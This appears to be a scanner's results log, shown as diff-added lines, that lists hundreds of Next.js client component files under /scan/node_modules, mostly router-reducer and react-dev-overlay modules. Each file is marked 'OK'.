+/scan/node_modules/next/dist/client/components/router-reducer/create-initial-router-state.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/is-navigating-to-new-root-layout.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/should-hard-navigate.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/apply-router-state-patch-to-tree.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-router-cache-key.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-href-from-url.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/router-reducer-types.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/compute-changed-path.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/apply-flight-data.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/prefetch-cache-utils.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/handle-segment-mismatch.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-initial-router-state.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-initial-router-state.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/prefetch-cache-utils.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/compute-changed-path.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fetch-server-response.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/refetch-inactive-parallel-segments.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/should-hard-navigate.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/refetch-inactive-parallel-segments.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/prefetch-cache-utils.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/invalidate-cache-by-router-state.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fill-cache-with-new-subtree-data.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fetch-server-response.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/compute-changed-path.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/handle-mutable.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fill-lazy-items-till-leaf-with-head.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/apply-router-state-patch-to-tree.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/clear-cache-node-data-for-segment-path.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-router-cache-key.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/apply-flight-data.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-href-from-url.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-router-cache-key.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/handle-mutable.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/invalidate-cache-below-flight-segmentpath.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fetch-server-response.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/apply-router-state-patch-to-tree.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/clear-cache-node-data-for-segment-path.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/invalidate-cache-by-router-state.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/should-hard-navigate.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-router-cache-key.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/ppr-navigations.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/router-reducer.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/get-segment-value.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/router-reducer.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/apply-flight-data.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/invalidate-cache-by-router-state.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fill-cache-with-new-subtree-data.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-href-from-url.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/compute-changed-path.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/is-navigating-to-new-root-layout.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/clear-cache-node-data-for-segment-path.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/clear-cache-node-data-for-segment-path.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/handle-segment-mismatch.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fill-lazy-items-till-leaf-with-head.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/invalidate-cache-below-flight-segmentpath.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/should-hard-navigate.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/invalidate-cache-below-flight-segmentpath.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/ppr-navigations.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/handle-segment-mismatch.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/is-navigating-to-new-root-layout.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-initial-router-state.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/ppr-navigations.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/create-href-from-url.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fill-lazy-items-till-leaf-with-head.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fill-lazy-items-till-leaf-with-head.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/router-reducer-types.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/router-reducer.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/invalidate-cache-below-flight-segmentpath.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/router-reducer-types.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/restore-reducer.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/server-action-reducer.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/server-action-reducer.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/fast-refresh-reducer.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/refresh-reducer.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/refresh-reducer.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/server-patch-reducer.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/find-head-in-cache.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/find-head-in-cache.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/prefetch-reducer.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/server-action-reducer.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/navigate-reducer.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/has-interception-route-in-current-tree.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/has-interception-route-in-current-tree.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/get-segment-value.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/prefetch-reducer.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/prefetch-reducer.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/fast-refresh-reducer.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/get-segment-value.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/find-head-in-cache.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/find-head-in-cache.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/fast-refresh-reducer.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/get-segment-value.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/server-patch-reducer.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/server-patch-reducer.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/restore-reducer.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/navigate-reducer.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/has-interception-route-in-current-tree.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/restore-reducer.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/navigate-reducer.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/reducers/refresh-reducer.js.map: OK
+/scan/node_modules/next/dist/client/components/router-reducer/handle-mutable.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/invalidate-cache-by-router-state.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fill-cache-with-new-subtree-data.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/refetch-inactive-parallel-segments.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/fill-cache-with-new-subtree-data.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/router-reducer/apply-router-state-patch-to-tree.js: OK
+/scan/node_modules/next/dist/client/components/router-reducer/is-navigating-to-new-root-layout.js: OK
+/scan/node_modules/next/dist/client/components/not-found.js.map: OK
+/scan/node_modules/next/dist/client/components/hooks-server-context.js: OK
+/scan/node_modules/next/dist/client/components/match-segments.js: OK
+/scan/node_modules/next/dist/client/components/noop-head.js.map: OK
+/scan/node_modules/next/dist/client/components/not-found-boundary.js.map: OK
+/scan/node_modules/next/dist/client/components/action-async-storage-instance.js.map: OK
+/scan/node_modules/next/dist/client/components/action-async-storage-instance.js: OK
+/scan/node_modules/next/dist/client/components/bailout-to-client-rendering.d.ts: OK
+/scan/node_modules/next/dist/client/components/not-found-error.js: OK
+/scan/node_modules/next/dist/client/components/static-generation-async-storage.external.js: OK
+/scan/node_modules/next/dist/client/components/not-found-boundary.js: OK
+/scan/node_modules/next/dist/client/components/layout-router.d.ts: OK
+/scan/node_modules/next/dist/client/components/redirect-boundary.d.ts: OK
+/scan/node_modules/next/dist/client/components/promise-queue.test.d.ts: OK
+/scan/node_modules/next/dist/client/components/static-generation-async-storage.external.js.map: OK
+/scan/node_modules/next/dist/client/components/redirect.js.map: OK
+/scan/node_modules/next/dist/client/components/redirect-boundary.js.map: OK
+/scan/node_modules/next/dist/client/components/render-from-template-context.d.ts: OK
+/scan/node_modules/next/dist/client/components/render-from-template-context.js: OK
+/scan/node_modules/next/dist/client/components/is-hydration-error.d.ts: OK
+/scan/node_modules/next/dist/client/components/hooks-server-context.d.ts: OK
+/scan/node_modules/next/dist/client/components/hooks-server-context.js.map: OK
+/scan/node_modules/next/dist/client/components/parallel-route-default.d.ts: OK
+/scan/node_modules/next/dist/client/components/use-reducer-with-devtools.d.ts: OK
+/scan/node_modules/next/dist/client/components/app-router-headers.d.ts: OK
+/scan/node_modules/next/dist/client/components/promise-queue.js: OK
+/scan/node_modules/next/dist/client/components/action-async-storage-instance.d.ts: OK
+/scan/node_modules/next/dist/client/components/is-next-router-error.d.ts: OK
+/scan/node_modules/next/dist/client/components/app-router.js: OK
+/scan/node_modules/next/dist/client/components/navigation.react-server.d.ts: OK
+/scan/node_modules/next/dist/client/components/default-layout.js.map: OK
+/scan/node_modules/next/dist/client/components/client-page.d.ts: OK
+/scan/node_modules/next/dist/client/components/layout-router.js.map: OK
+/scan/node_modules/next/dist/client/components/redirect-status-code.js: OK
+/scan/node_modules/next/dist/client/components/navigation.react-server.js: OK
+/scan/node_modules/next/dist/client/components/async-local-storage.js: OK
+/scan/node_modules/next/dist/client/components/app-router-headers.js: OK
+/scan/node_modules/next/dist/client/components/default-layout.d.ts: OK
+/scan/node_modules/next/dist/client/components/unresolved-thenable.js.map: OK
+/scan/node_modules/next/dist/client/components/not-found-boundary.d.ts: OK
+/scan/node_modules/next/dist/client/components/action-async-storage.external.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/app/hot-reloader-client.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/app/ReactDevOverlay.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/app/hot-reloader-client.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/app/hot-reloader-client.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/app/ReactDevOverlay.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/app/ReactDevOverlay.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/root-layout-missing-tags-error.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/CallStackFrame.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/GroupedStackFrames.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/GroupedStackFrames.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/ComponentStackFrameRow.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/CallStackFrame.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/index.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/ComponentStackFrameRow.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/ComponentStackFrameRow.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/component-stack-pseudo-html.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/component-stack-pseudo-html.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/index.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/index.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/component-stack-pseudo-html.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/CallStackFrame.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/RuntimeError/GroupedStackFrames.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/Errors.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/BuildError.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/Errors.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/BuildError.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/Errors.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/root-layout-missing-tags-error.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/BuildError.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/container/root-layout-missing-tags-error.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/styles/ComponentStyles.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/styles/CssReset.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/styles/ComponentStyles.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/styles/Base.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/styles/ComponentStyles.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/styles/Base.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/styles/CssReset.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/styles/Base.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/styles/CssReset.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/ShadowPortal.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Toast/Toast.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Toast/index.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Toast/styles.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Toast/Toast.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Toast/index.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Toast/styles.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Toast/index.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Toast/styles.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Toast/Toast.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/ShadowPortal.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/EditorLink.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/EditorLink.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/Terminal.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/index.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/styles.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/EditorLink.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/Terminal.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/index.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/styles.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/Terminal.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/index.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Terminal/styles.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/ShadowPortal.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/DialogContent.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/Dialog.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/index.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/DialogContent.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/styles.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/DialogHeader.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/DialogBody.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/DialogHeader.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/Dialog.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/Dialog.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/DialogBody.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/DialogBody.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/index.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/styles.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/DialogHeader.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/index.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/styles.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Dialog/DialogContent.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/LeftRightDialogHeader/LeftRightDialogHeader.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/LeftRightDialogHeader/LeftRightDialogHeader.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/LeftRightDialogHeader/index.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/LeftRightDialogHeader/styles.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/LeftRightDialogHeader/index.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/LeftRightDialogHeader/LeftRightDialogHeader.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/LeftRightDialogHeader/styles.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/LeftRightDialogHeader/index.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/LeftRightDialogHeader/styles.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/CodeFrame/CodeFrame.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/CodeFrame/index.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/CodeFrame/styles.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/CodeFrame/CodeFrame.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/CodeFrame/CodeFrame.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/CodeFrame/index.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/CodeFrame/styles.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/CodeFrame/index.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/CodeFrame/styles.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/VersionStalenessInfo/VersionStalenessInfo.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/VersionStalenessInfo/index.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/VersionStalenessInfo/styles.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/VersionStalenessInfo/VersionStalenessInfo.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/VersionStalenessInfo/index.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/VersionStalenessInfo/styles.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/VersionStalenessInfo/VersionStalenessInfo.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/VersionStalenessInfo/index.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/VersionStalenessInfo/styles.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/body-locker.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/Overlay.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/Overlay.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/maintain--tab-focus.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/body-locker.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/index.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/styles.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/maintain--tab-focus.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/index.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/styles.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/index.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/maintain--tab-focus.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/styles.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/Overlay.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/Overlay/body-locker.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/hot-linked-text/index.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/hot-linked-text/index.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/components/hot-linked-text/index.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/hooks/use-on-click-outside.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/hooks/use-on-click-outside.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/hooks/use-on-click-outside.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/icons/CloseIcon.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/icons/FrameworkIcon.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/icons/CloseIcon.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/icons/CollapseIcon.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/icons/CollapseIcon.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/icons/FrameworkIcon.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/icons/CollapseIcon.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/icons/FrameworkIcon.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/icons/CloseIcon.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/hydration-error-info.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/parseStack.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/parseStack.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/group-stack-frames-by-framework.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/hydration-error-info.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/getRawSourceMap.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/runtime-error-handler.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/stack-frame.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/noop-template.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/get-socket-url.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/getErrorByType.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/parse-component-stack.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/hydration-error-info.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/get-socket-url.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/stack-frame.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/parse-component-stack.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/getRawSourceMap.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/format-webpack-messages.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/group-stack-frames-by-framework.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/getSourceMapUrl.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/nodeStackFrames.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/parseStack.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/use-websocket.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/use-open-in-editor.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/launchEditor.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/getRawSourceMap.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/getSourceMapUrl.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/getErrorByType.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/use-open-in-editor.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/stack-frame.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/use-websocket.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/use-open-in-editor.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/nodeStackFrames.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/getSourceMapUrl.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/use-error-handler.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/get-socket-url.js.map: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/noop-template.d.ts: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/group-stack-frames-by-framework.js: OK
+/scan/node_modules/next/dist/client/components/react-dev-overlay/internal/helpers/noop-template.js: OK
